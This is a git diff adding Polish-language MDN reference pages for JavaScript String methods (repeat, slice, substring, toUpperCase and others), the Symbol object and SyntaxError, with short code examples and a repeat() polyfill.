str.repeat(count)
+ +

Parametry

+ +
+
count
+
An integer between 0 and +∞: [0, +∞), indicating the number of times to repeat the string in the newly-created string that is to be returned.
+
+ +

Zwracana wartość

+ +

A new string containing the specified number of copies of the given string.

+ +

Exceptions

+ + + +

Przykłady

+ +
'abc'.repeat(-1);   // RangeError
+'abc'.repeat(0);    // ''
+'abc'.repeat(1);    // 'abc'
+'abc'.repeat(2);    // 'abcabc'
+'abc'.repeat(3.5);  // 'abcabcabc' (count will be converted to integer)
+'abc'.repeat(1/0);  // RangeError
+
+({ toString: () => 'abc', repeat: String.prototype.repeat }).repeat(2);
+// 'abcabc' (repeat() is a generic method)
+
+ +

Polyfill

+ +

This method has been added to the ECMAScript 6 specification and may not be available in all JavaScript implementations yet. However, you can polyfill String.prototype.repeat() with the following snippet:

+ +
if (!String.prototype.repeat) {
+  String.prototype.repeat = function(count) {
+    'use strict';
+    if (this == null) {
+      throw new TypeError('can\'t convert ' + this + ' to object');
+    }
+    var str = '' + this;
+    count = +count;
+    if (count != count) {
+      count = 0;
+    }
+    if (count < 0) {
+      throw new RangeError('repeat count must be non-negative');
+    }
+    if (count == Infinity) {
+      throw new RangeError('repeat count must be less than infinity');
+    }
+    count = Math.floor(count);
+    if (str.length == 0 || count == 0) {
+      return '';
+    }
+    // Ensuring count is a 31-bit integer allows us to heavily optimize the
+    // main part. But anyway, most current (August 2014) browsers can't handle
+    // strings 1 << 28 chars or longer, so:
+    if (str.length * count >= 1 << 28) {
+      throw new RangeError('repeat count must not overflow maximum string size');
+    }
+    var rpt = '';
+    for (;;) {
+      if ((count & 1) == 1) {
+        rpt += str;
+      }
+      count >>>= 1;
+      if (count == 0) {
+        break;
+      }
+      str += str;
+    }
+    // Could we try:
+    // return Array(count + 1).join(this);
+    return rpt;
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES6', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}{{Spec2('ESDraft')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("41")}} {{CompatGeckoDesktop("24")}}{{CompatNo}}{{CompatNo}}{{CompatSafari("9")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome("36")}}{{CompatGeckoMobile("24")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
diff --git a/files/pl/web/javascript/reference/global_objects/string/search/index.html b/files/pl/web/javascript/reference/global_objects/string/search/index.html new file mode 100644 index 0000000000..29b9d8e8fb --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/search/index.html @@ -0,0 +1,49 @@ +--- +title: String.prototype.search() +slug: Web/JavaScript/Referencje/Obiekty/String/search +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/search +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Wykonuje przeszukanie dla dopasowanych wyrażeń regularnych i tego obiektu {{jsxref("String")}}.

+ +

Składnia

+ +
str.search(regexp)
+ +

Parametry

+ +
+
regexp 
+
Nazwa wyrażenia regularnego. Może być to nazwa zmiennej lub literał.
+
+ +

Opis

+ +

Jeśli sukces, rezultat przeszukania indeksu wyrażenia regularnego wewnątrz łańcucha znaków. Inaczej zwróci -1.

+ +

Kiedy chcesz wiedzieć gdzie jest znaleziony wzorzec w łańcuchu znaków zastosuj search() (podobne do wyrażenia regularnego metody {{jsxref("RegExp.prototype.test()", "test()")}}); aby uzyskać więcej informacji (lecz wolniej wykonywanie) zastosuj {{jsxref("String.prototype.match()", "match()")}} (podobne do wyrażenia regularnego metody {{jsxref("RegExp.prototype.exec()", "exec()")}} method).

+ +

Przykłady

+ + + +

Następujący przykład drukuje wiadomość, która zależy od sukcesu testu.

+ +
function testinput(re, str){
+   var midstring;
+   if (str.search(re) != -1) {
+      midstring = " contains ";
+   } else {
+      midstring = " does not contain ";
+   }
+   console.log (str + midstring + re.source);
+}
+
diff --git a/files/pl/web/javascript/reference/global_objects/string/slice/index.html b/files/pl/web/javascript/reference/global_objects/string/slice/index.html new file mode 100644 index 0000000000..4fca8a78ca --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/slice/index.html @@ -0,0 +1,51 @@ +--- +title: String.prototype.slice() +slug: Web/JavaScript/Referencje/Obiekty/String/slice +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/slice +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Wydobywa część łańcucha znaków i zwraca go jako nowy łańcuch znaków.

+ +

Składnia

+ +
str.slice(beginSlice[, endSlice])
+ +

Parametry

+ +
+
beginSlice 
+
Oparty na zerze początek indeksu rozpoczynający wyciąganie.
+
+ +
+
endSlice 
+
Oparty na zerze początek indeksu, który kończy wyciąganie. Jeśli pominięty slice() wydobywa do końca łańcuch znaków.
+
+ +

Opis

+ +

slice() wyciąga tekst z jednego łańcucha znaków i zwraca nowy łańcuch znaków. Zmiany w treści jednego łańcucha znaków nie mają wpływu na drugi.

+ +

slice() wyciąga tekst do endSlice lecz go nie włącza. string.slice(1,4) wyciąga drugi znak aż do czwartego (znaki o indeksach 1, 2 i 3).

+ +

Jako ujemny indeks endSlice sygnalizuje przesunięcie z końca łańcucha znaków. str.slice(2,-1) wyciąga trzeci przez ostatni znak w łańcuchu znaków.

+ +

Przykłady

+ +

Przykład: Zastosowanie slice()

+ +

Poniższy przykład używa slice do stworzenia nowego łańcucha znaków.

+ +
var str1 = 'The morning is upon us.';
+var str2 = str1.slice(4,-2);
+
+console.log(str2); // OUTPUT: morning is upon u
+
diff --git a/files/pl/web/javascript/reference/global_objects/string/small/index.html b/files/pl/web/javascript/reference/global_objects/string/small/index.html new file mode 100644 index 0000000000..be9d33a5bb --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/small/index.html @@ -0,0 +1,37 @@ +--- +title: String.prototype.small() +slug: Web/JavaScript/Referencje/Obiekty/String/small +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/String/small +--- +
{{JSRef}} {{deprecated_header}}
+ +

Podsumowanie

+ +

Powoduje to, że łańcuch znaków będzie wyświetlany małą czcionką, jakby znajdował się wewnątrz znacznika {{HTMLElement("small")}}.

+ +

Składnia

+ +
str.small()
+ +

Opis

+ +

The small() method embeds a string in a <small> tag: "<small>str</small>".

+ +

Przykłady

+ +

Przykład: Zastosowanie metody small()

+ +
var worldString = "Witaj, Świecie";
+
+console.log(worldString.small());     // <small>Witaj, Świecie</small>
+console.log(worldString.big());       // <big>Witaj, Świecie</big>
+console.log(worldString.fontsize(7)); // <fontsize=7>Witaj, Świecie</fontsize>
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/strike/index.html b/files/pl/web/javascript/reference/global_objects/string/strike/index.html new file mode 100644 index 0000000000..cef74018f1 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/strike/index.html @@ -0,0 +1,44 @@ +--- +title: String.prototype.strike() +slug: Web/JavaScript/Referencje/Obiekty/String/strike +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/strike +--- +

{{JSRef}}{{deprecated_header}}

+ +

Podsumowanie

+ +

Powoduje, iż łańcuch zostanie wyświetlony przekreślony, tak jakby był wewnątrz znacznika {{HTMLElement("strike")}}.

+ +

Składnia

+ +
str.strike()
+ +

Opis

+ +

The strike() method embeds a string in a <strike> tag: "<strike>str</strike>".

+ +

Przykłady

+ +

Przykład: Zastosowanie metody strike()

+ +

Następujący przykład stosuje metodę string do zmiany formatowania łańcucha znakowego:

+ +
var worldString="Witaj, Świecie";
+
+console.log(worldString.blink());   // <blink>Witaj, Świecie</blink>
+console.log(worldString.bold());    // <bold>Witaj, Świecie</bold>
+console.log(worldString.italics()); // <i>Witaj, Świecie</i>
+console.log(worldString.strike());  // <s>Witaj, Świecie</s>
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/sub/index.html b/files/pl/web/javascript/reference/global_objects/string/sub/index.html new file mode 100644 index 0000000000..4c36c53a39 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/sub/index.html @@ -0,0 +1,44 @@ +--- +title: String.prototype.sub() +slug: Web/JavaScript/Referencje/Obiekty/String/sub +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/sub +--- +

{{JSRef}}{{deprecated_header}}

+ +

Podsumowanie

+ +

Powoduje, iż łańcuch zostanie wyświetlony jako indeks dolny tak jakby był wewnątrz znacznika {{HTMLElement("sub")}}.

+ +

Składnia

+ +
str.sub()
+ +

Opis

+ +

The sub() method embeds a string in a <sub> tag: "<sub>str</sub>".

+ +

Przykłady

+ +

Przykład: Zastosowanie metod sub() i sup()

+ +

Następujący przykład stosuje metody sub() i {{jsxref("String.prototype.sup()", "sup()")}} do formatowania łańcucha znaków:

+ +
var superText="superscript";
+var subText="subscript";
+
+console.log("This is what a " + superText.sup() + " looks like.");
+// This is what a <sup>superscript</sup> looks like
+
+console.log("This is what a " + subText.sub() + " looks like.");
+// This is what a <sub>subscript</sub> looks like.
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/substr/index.html b/files/pl/web/javascript/reference/global_objects/string/substr/index.html new file mode 100644 index 0000000000..61487db384 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/substr/index.html @@ -0,0 +1,66 @@ +--- +title: String.prototype.substr() +slug: Web/JavaScript/Referencje/Obiekty/String/substr +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/substr +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca określoną liczbę początkowych znaków w łańcuchu znaków w określonej lokalizacji.

+ +

Składnia

+ +
str.substr(start[, length])
+ +

Parametry

+ +
+
start 
+
Lokalizacja, w której rozpoczyna się wyciąganie znaków (wartość liczbowa pomiędzy 0, a jeden znak mniej niż długość łańcucha znaków).
+
+ +
+
length 
+
Liczba znaków do wyciągnięcia.
+
+ +

Opis

+ +

start jest indeksem znaków. Pierwszym znakiem w indeksie jest 0 i ostatnim znakiem w indeksie jest liczba o 1 mniejsza niż długość łańcucha znaków. substr() rozpoczyna wyciąganie znaków w start i ściąga liczbę length znaków.

+ +

Jeśli start jest dodatnie i jest długością łańcucha znaków lub dłuższą wartością, substr() nie zwraca znaków.

+ +

Jeśli start jest ujemne, substr() stosuje to jako indeks znaków z końca łańcucha znaków. Jeśli start jest ujemne i abs(start) jest większe niż długość łańcucha znaków to substr() stosuje 0 jako początek indeksu.

+ +

Jeśli length jest 0 lub ujemne, substr() nie zwróci znaków. Jeśli length jest opuszczone, substr() wyciągnie znaki aż do końca łańcucha znaków.

+ +

Przykłady

+ +

Przykład: Zastosowanie substr()

+ +

Rozpatrz poniższy skrypt:

+ +
var str = 'abcdefghij';
+
+console.log('(1, 2): ' + str.substr(1, 2)); // '(1, 2): bc'
+console.log('(-3, 2): ' + str.substr(-3, 2)); // '(-3, 2): hi'
+console.log('(-3): ' + str.substr(-3)); // '(-3): hij'
+console.log('(1): ' + str.substr(1)); // '(1): bcdefghij'
+console.log('(-20, 2): ' + str.substr(-20, 2)); // '(-20, 2): ab'
+console.log('(20, 2): ' + str.substr(20, 2)); // '(20, 2): '
+
+ +

Zobacz także

+ +

 

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/substring/index.html b/files/pl/web/javascript/reference/global_objects/string/substring/index.html new file mode 100644 index 0000000000..5a446e0225 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/substring/index.html @@ -0,0 +1,90 @@ +--- +title: String.prototype.substring() +slug: Web/JavaScript/Referencje/Obiekty/String/substring +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/substring +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca podciąg obiektu String.

+ +

Składnia

+ +
str.substring(indexA[, indexB])
+ +

Parametry

+ +
+
indexA 
+
Liczba całkowita pomiędzy 0, a liczbą o jeden mniejszą niż długość łańcucha znaków.
+
indexB 
+
Opcjonalny. Liczba całkowita pomiędzy 0 i długością łańcucha znaków.
+
+ +

Opis

+ +

substring urywa znaki z indexA lecz nie włącza ich do indexB. W szczególności:

+ + + +

Jeśli indexA jest większy niż indexB, JavaScript zwróci substring(indexB, indexA).

+ +

Przykłady

+ +

Przykład: Zastosowanie substring()

+ +

Następujący przykład substring stosujemy do wyświetlenia znaków ze słowa "Mozilla":

+ +
var anyString = "Mozilla";
+
+// Wyświetli  "Moz"
+console.log(anyString.substring(0,3));
+console.log(anyString.substring(3,0));
+
+// Wyświetli  "lla"
+console.log(anyString.substring(4));
+console.log(anyString.substring(4,7));
+console.log(anyString.substring(7,4));
+
+// Wyświetli  "Mozill"
+console.log(anyString.substring(0,6));
+
+// Wyświetli "Mozilla"
+console.log(anyString.substring(0,7));
+console.log(anyString.substring(0,10));
+
+ +

Przykład: Zamiana podciągu wewnątrz ciągu

+ +

Następujący przykład zamienia podciąg wewnątrz ciągu. Zostaną zamienione oba poszczególne znaki i podciągi. Funkcja zostanie wywołana na koniec przykładu zmieniając łańcuch znaków; "Brave New World" na "Brave New Web".

+ +
function replaceString(oldS, newS, fullS) {
+// Replaces oldS with newS in the string fullS
+   for (var i = 0; i < fullS.length; i++) {
+      if (fullS.substring(i, i + oldS.length) == oldS) {
+         fullS = fullS.substring(0, i) + newS + fullS.substring(i + oldS.length, fullS.length);
+      }
+   }
+   return fullS;
+}
+
+replaceString("World", "Web", "Brave New World");
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/sup/index.html b/files/pl/web/javascript/reference/global_objects/string/sup/index.html new file mode 100644 index 0000000000..dbf33ea3ed --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/sup/index.html @@ -0,0 +1,45 @@ +--- +title: String.prototype.sup() +slug: Web/JavaScript/Referencje/Obiekty/String/sup +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/sup +--- +

{{JSRef}}{{deprecated_header}}

+ +

Podsumowanie

+ +

Powoduje, iż łańcuch zostanie wyświetlony jako indeks górny tak jakby był wewnątrz znacznika {{HTMLElement("sup")}}.

+ +

Składnia

+ +
str.sup()
+ +

Opis

+ +

The sup() method embeds a string in a <sup> tag: "<sup>str</sup>".

+ +

Przykłady

+ +

Przykład: Zastosowanie metody sub() i sup()

+ +

Następujący przykład stosuje metodę {{jsxref("String.prototype.sub()", "sub()")}} i sup() do zmiany formatu łańcucha znaków:

+ +
var superText="superscript";
+var subText="subscript";
+
+console.log("This is what a " + superText.sup() + " looks like.");
+// This is what a <sup>superscript</sup> looks like
+
+console.log("This is what a " + subText.sub() + " looks like.");
+// This is what a <sub>subscript</sub> looks like.
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/tolowercase/index.html b/files/pl/web/javascript/reference/global_objects/string/tolowercase/index.html new file mode 100644 index 0000000000..0b871b9ca6 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/tolowercase/index.html @@ -0,0 +1,40 @@ +--- +title: String.prototype.toLowerCase() +slug: Web/JavaScript/Referencje/Obiekty/String/toLowerCase +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/toLowerCase +--- +

{{jsref}}

+ +

Podsumowanie

+ +

Zwraca wartość wywołującego łańcucha znaków, skonwertowaną na małe litery.

+ +

Składnia

+ +
str.toLowerCase()
+ +

Opis

+ +

Metoda toLowerCase() zwraca wartość łańcucha znaków skonwertowanego na małe litery. toLowerCase() nie wpływa na wartość samego łańcucha.

+ +

Przykłady

+ +

Przykład: Zastosowanie toLowerCase

+ +

Następujący przykład wyświetli łańcuch "alfabet" złożony z małych liter:

+ +
console.log('ALFABET'.toLowerCase()); // 'alfabet'
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/tosource/index.html b/files/pl/web/javascript/reference/global_objects/string/tosource/index.html new file mode 100644 index 0000000000..cb372d673c --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/tosource/index.html @@ -0,0 +1,41 @@ +--- +title: String.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/String/toSource +tags: + - JavaScript + - Method + - Non-standard + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/toSource +--- +

{{JSRef}}{{non-standard_header}}

+ +

Podsumowanie

+ +

Zwraca łańcuch znaków reprezentujący kod źródłowy obiektu.

+ +

Składnia

+ +
String.toSource()
+str.toSource()
+
+ +

Opis

+ +

Metoda toSource() zwraca następujące wartości:

+ + + +

Ta metoda jest w JavaScript wywoływana zazwyczaj wewnętrznie, nie bezpośrednio w kodzie.

+ +
 
diff --git a/files/pl/web/javascript/reference/global_objects/string/tostring/index.html b/files/pl/web/javascript/reference/global_objects/string/tostring/index.html new file mode 100644 index 0000000000..16028dff15 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/tostring/index.html @@ -0,0 +1,41 @@ +--- +title: String.protype.toString() +slug: Web/JavaScript/Referencje/Obiekty/String/toString +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/toString +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca łańcuch znaków reprezentujący dany obiekt.

+ +

Składnia

+ +
str.toString()
+ +

Opis

+ +

Obiekt {{jsxref("String")}} przesłania metodę toString obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektów {{jsxref("String")}}, metoda toString() zwraca łańcuch znaków reprezentujący obiekt.

+ +

Przykłady

+ +

Przykład: Zastosowanie toString()

+ +

Następujący przykład wyświetli wartość łańcuch znaków obiektu {{jsxref("String")}}:

+ +
var x = new String("Witaj świecie");
+
+console.log(x.toString())      // Wyświetla "Witaj świecie"
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/touppercase/index.html b/files/pl/web/javascript/reference/global_objects/string/touppercase/index.html new file mode 100644 index 0000000000..4b792076fe --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/touppercase/index.html @@ -0,0 +1,38 @@ +--- +title: String.prototype.toUpperCase() +slug: Web/JavaScript/Referencje/Obiekty/String/toUpperCase +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/toUpperCase +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca wartość wywołującego łańcucha znaków, skonwertowaną na duże litery.

+ +

Składnia

+ +
str.toUpperCase()
+ +

Opis

+ +

Metoda toUpperCase() zwraca wartość łańcucha znaków skonwertowanego na duże litery. toUpperCase() nie wpływa na wartość samego łańcucha.

+ +

Przykłady

+ +

Przykład: Zastosowanie toUpperCase()

+ +
console.log('alfabet'.toUpperCase()); // 'ALFABET'
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/valueof/index.html b/files/pl/web/javascript/reference/global_objects/string/valueof/index.html new file mode 100644 index 0000000000..1eda0e3021 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/valueof/index.html @@ -0,0 +1,40 @@ +--- +title: String.prototype.valueOf() +slug: Web/JavaScript/Referencje/Obiekty/String/valueOf +tags: + - JavaScript + - Method + - Property + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/valueOf +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca pierwotną wartość obiektu {{jsxref("String")}}.

+ +

Składnia

+ +
str.valueOf()
+ +

Opis

+ +

Metoda valueOf() obiektu {{jsxref("String")}} zwraca pierwotną wartość obiektu {{jsxref("String")}} jako łańcuch znaków. Ta wartość jest równoważna do {{jsxref("String.prototype.toString()")}}.

+ +

Ta metoda jest w JavaScript wywoływana zazwyczaj wewnętrznie, nie bezpośrednio w kodzie.

+ +

Przykłady

+ +

Przykład: Zastosowanie valueOf()

+ +
var x = new String("Witaj świecie");
+console.log(x.valueOf()); // Wyświetla "Witaj świecie"
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/symbol/index.html b/files/pl/web/javascript/reference/global_objects/symbol/index.html new file mode 100644 index 0000000000..4124cb2a46 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/symbol/index.html @@ -0,0 +1,227 @@ +--- +title: Symbol +slug: Web/JavaScript/Referencje/Obiekty/Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol +--- +
{{JSRef}}
+ +

Funkcja Symbol() zwraca wartość typu symbol, posiada statyczne własności wystawiające kilka wartości używanych we wbudowanych obiektach, posiada statyczne metody wystawiające globalny rejestr symboli i przypomina wbudowaną klasę obiektu, jest jednak niekompletna jako konstruktor ponieważ nie wspiera składni "new Symbol()".  

+ +

Każdy symbol zwrócony przez Symbol() jest unikalny. Symbol powinien być użyty jako identyfikator własności obiektu, został zaprojektowany jedynie w tym celu. Pełniejsze wyjaśnienie dotyczące jego przeznaczenia i użycia można znaleźć w poświęconym mu wpisie w glosariuszu.

+ +

Typ symbol jest {{Glossary("Primitive", "typem prostym")}}.

+ +
{{EmbedInteractiveExample("pages/js/symbol-constructor.html")}}
+ + + +

Składnia

+ +
Symbol([opis])
+ +

Parametry

+ +
+
opis {{optional_inline}}
+
Ciąg znaków, parametr opcjonalny. Opis symbolu, może być użyty do debugowania, ale nie do dostania się do samego symbolu.
+
+ +

Opis

+ +

Aby stworzyć nowy symbol należy użyć funkcji Symbol(), opcjonalnie przekazując jej opisowy ciąg znaków:

+ +
var sym1 = Symbol();
+var sym2 = Symbol('foo');
+var sym3 = Symbol('foo');
+
+ +

Powyższy kod tworzy trzy nowe symbole. Należy zwrócić uwagę, że Symbol("foo") nie konwertuje ciągu znaków "foo" na symbol, tylko tworzy za każdym razem nowy symbol:

+ +
Symbol('foo') === Symbol('foo'); // false
+ +

Następująca składnia z operatorem {{jsxref("Operators/new", "new")}} spowoduje wyjątek {{jsxref("TypeError")}}:

+ +
var sym = new Symbol(); // TypeError
+ +

Dzieje się tak dlatego żeby powstrzymać programistów przed opakowywaniem wartości symboli w obiekty i może być zaskakujące, gdyż tworzenie opakowanych wartości dla typów prostych jest zazwyczaj możliwe (na przykład new Boolean, new String i new Number).

+ +

Jeśli stworzenie opakowanego symbolu jest dokładnie tym czego chce programista, może do tego użyć funkcji Object():

+ +
var sym = Symbol('foo');
+typeof sym;     // "symbol"
+var symObj = Object(sym);
+typeof symObj;  // "object"
+
+ +

Symbole współdzielone w globalnym rejestrze symboli

+ +

Powyższa składnia używająca funkcji Symbol() nie stworzy globalnego symbolu, który będzie dostępny w całym kodzie. Aby stworzyć symbol dostępny między plikami, a nawet między sferami (z których każda ma swoją globalną przestrzeń) należy użyć metody {{jsxref("Symbol.for()")}}. Z kolei metody {{jsxref("Symbol.keyFor()")}} można użyć aby uzyskać nazwę globalnego klucza dla posiadanego symbolu.

+ +

Znajdowanie własności indeksowanych symbolami na obiekcie

+ +

Metoda {{jsxref("Object.getOwnPropertySymbols()")}} zwraca tablicę symboli i pozwala znaleźć własności indeksowane symbolami na danym obiekcie. Każdy obiekt jest inicjowany bez takich własności, więc metoda ta zwróci pustą tablicę do czasu ustawienia na obiekcie własności pod kluczem typu symbol.

+ +

Własności

+ +
+
Symbol.length
+
Własność length której wartością jest 0.
+
{{jsxref("Symbol.prototype")}}
+
Reprezentuje prototyp konstruktora Symbol.
+
+ +

Znane symbole

+ +

Oprócz symboli zdefiniowanych przez programistę, JavaScript posiada wbudowane symbole reprezentujące wewnętrzne mechanizmy języka, które nie były widoczne dla programisty w wersji ECMAScript 5 i wcześniejszych. Dostęp do tych symboli jest możliwy za pomocą następujących własności statycznych:

+ +

Symbole iteracji

+ +
+
{{jsxref("Symbol.iterator")}}
+
Metoda zwracająca domyślny iterator dla obiektu. Używana przez for...of.
+
{{jsxref("Symbol.asyncIterator")}} {{experimental_inline}}
+
Metoda zwracająca domyślny asynchroniczny iterator dla obiektu. Używana przez for await of.
+
+ +

Symbole wyrażeń regularnych

+ +
+
{{jsxref("Symbol.match")}}
+
Metoda dopasowująca dla ciągu znaków, używana również dla określenia czy obiekt może zostać użyty jako wyrażenie regularne. Używana przez {{jsxref("String.prototype.match()")}}.
+
{{jsxref("Symbol.replace")}}
+
Metoda zastępująca dopasowany ciąg w ciągu znaków. Używana przez {{jsxref("String.prototype.replace()")}}.
+
{{jsxref("Symbol.search")}}
+
Metoda zwracająca indeks początku ciągu znaków który został dopasowany do wyrażenia regularnego. Używana przez {{jsxref("String.prototype.search()")}}.
+
{{jsxref("Symbol.split")}}
+
Metoda dzieląca łańcuch znaków w miejscu w którym został dopasowany do wyrażenia regularnego. Używana przez {{jsxref("String.prototype.split()")}}.
+
+ +

Pozostałe symbole

+ +
+
{{jsxref("Symbol.hasInstance")}}
+
Metoda określająca czy konstruktor rozpoznaje obiekt jako swoją instancję. Używana przez {{jsxref("Operators/instanceof", "instanceof")}}.
+
{{jsxref("Symbol.isConcatSpreadable")}}
+
Wartość logiczna określająca czy obiekt powinien zostać spłaszczony do jego elementów tablicy. Używana przez {{jsxref("Array.prototype.concat()")}}.
+
{{jsxref("Symbol.unscopables")}}
+
Wartość obiektu którego własne i dziediczone nazwy własności są wykluczone ze środowiska with powiązanego obiektu.
+
{{jsxref("Symbol.species")}}
+
Funkcja konstruktora używana do tworzenia obiektów wywodzących się z danego.
+
{{jsxref("Symbol.toPrimitive")}}
+
Metoda konwertująca obiekt na typ prosty.
+
{{jsxref("Symbol.toStringTag")}}
+
Ciąg znaków używany dla domyślnego opisu obiektu. Używany przez {{jsxref("Object.prototype.toString()")}}.
+
+ +

Metody

+ +
+
{{jsxref("Symbol.for()", "Symbol.for(key)")}}
+
Szuka istniejącego symbolu o podanym kluczu i zwraca go, jeśli został znaleziony. W przeciwnym razie w globalnym rejestrze tworzony jest nowy symbol o podanym kluczu i również zwracany.
+
{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}
+
Zwraca klucz w globalnym rejestrze zapisany dla danego symbolu.
+
+ +

Symbol prototype

+ +

Wszystkie symbole dziecidzą po {{jsxref("Symbol.prototype")}}.

+ +

Własności

+ +

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Properties')}}

+ +

Metody

+ +

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Methods')}}

+ +

Przykłady

+ +

Używanie operatora typeof z symbolami

+ +

Operator {{jsxref("Operators/typeof", "typeof")}} może pomóc w identyfikacji symboli.

+ +
typeof Symbol() === 'symbol'
+typeof Symbol('foo') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+
+ +

Konwersje typu symbol

+ + + +

Symbole i iteracja for...in

+ +

Symbole nie są iterowalne w pętlach for...in. Dodatkowo, {{jsxref("Object.getOwnPropertyNames()")}} nie zwróci własności obiektu zapisanych pod kluczem którym jest symbol, do tego celu można użyć {{jsxref("Object.getOwnPropertySymbols()")}}.

+ +
var obj = {};
+
+obj[Symbol('a')] = 'a';
+obj[Symbol.for('b')] = 'b';
+obj['c'] = 'c';
+obj.d = 'd';
+
+for (var i in obj) {
+   console.log(i); // loguje "c" i "d"
+}
+ +

Symbole i JSON.stringify()

+ +

Własności obiektu znajdujące się pod kluczem w postaci symbolu są ignorowane przez JSON.stringify():

+ +
JSON.stringify({[Symbol('foo')]: 'foo'});
+// '{}'
+ +

Żeby dowiedzieć się więcej zobacz {{jsxref("JSON.stringify()")}}.

+ +

Symbole opakowane w obiekty jako klucze własności

+ +

Gdy symbol opakowany w obiekt jest użyty jako klucz własności, obiekt opakowujący zostanie skonwertowany do symbolu który opakowuje:

+ +
var sym = Symbol('foo');
+var obj = {[sym]: 1};
+obj[sym];            // 1
+obj[Object(sym)];    // nadal 1
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-symbol-objects', 'Symbol')}}{{Spec2('ES2015')}}Wstępna definicja
{{SpecName('ESDraft', '#sec-symbol-objects', 'Symbol')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność przeglądarek

+ + + +

{{Compat("javascript.builtins.Symbol")}}

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/syntaxerror/index.html b/files/pl/web/javascript/reference/global_objects/syntaxerror/index.html new file mode 100644 index 0000000000..c8a65cd46b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/syntaxerror/index.html @@ -0,0 +1,100 @@ +--- +title: SyntaxError +slug: Web/JavaScript/Referencje/Obiekty/SyntaxError +tags: + - Błąd składniowy + - JavaScript + - Klasa + - Obiekt + - Referencja + - SyntaxError +translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError +--- +
{{JSRef}}
+ +

Obiekt SyntaxError reprezentuje błąd przy próbie interpretacji kodu niepoprawnego pod względem składni. Jest wyrzucany wtedy, gdy silnik JavaScript podczas interpretacji kodu napotyka znak lub ciąg znaków niezgodny ze składnią języka.

+ +

Konstruktor

+ +
+
SyntaxError()
+
Tworzy nowy obiekt SyntaxError.
+
+ +

Właściwości instancji

+ +
+
{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}
+
